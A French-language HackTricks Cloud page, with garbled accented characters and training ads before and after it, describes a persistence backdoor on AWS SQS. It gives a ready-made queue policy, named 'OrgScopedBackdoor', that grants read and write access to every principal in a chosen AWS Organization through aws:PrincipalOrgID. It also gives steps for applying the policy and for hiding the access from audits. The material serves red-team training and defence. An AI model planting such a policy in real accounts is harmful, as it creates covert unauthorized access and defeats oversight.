AWS - SQS OrgID Policy Backdoor
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Exploitez une resource policy dâune SQS queue pour accorder silencieusement Send, Receive et ChangeMessageVisibility Ă tout principal appartenant Ă une AWS Organization ciblĂ©e en utilisant la condition aws:PrincipalOrgID. Cela crĂ©e un chemin cachĂ© limitĂ© Ă lâorganisation qui Ă©chappe souvent aux contrĂŽles qui ne recherchent que des ARNs de comptes ou de rĂŽles explicites ou des star principals.
Backdoor policy (attach to the SQS queue policy)
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "OrgScopedBackdoor",
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:ReceiveMessage",
"sqs:SendMessage",
"sqs:ChangeMessageVisibility",
"sqs:GetQueueAttributes"
],
"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
"Condition": {
"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
}
}
]
}
Ătapes
- Obtenir lâOrganization ID via AWS Organizations API.
- RĂ©cupĂ©rer lâARN de la queue SQS et dĂ©finir la queue policy incluant lâĂ©noncĂ© ciâdessus.
- Depuis nâimporte quel principal appartenant Ă cette Organization, envoyer et recevoir un message dans la queue pour valider lâaccĂšs.
Impact
- AccĂšs cachĂ© Ă lâĂ©chelle de lâOrganization permettant de lire et Ă©crire des messages SQS depuis nâimporte quel compte de lâAWS Organization spĂ©cifiĂ©.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

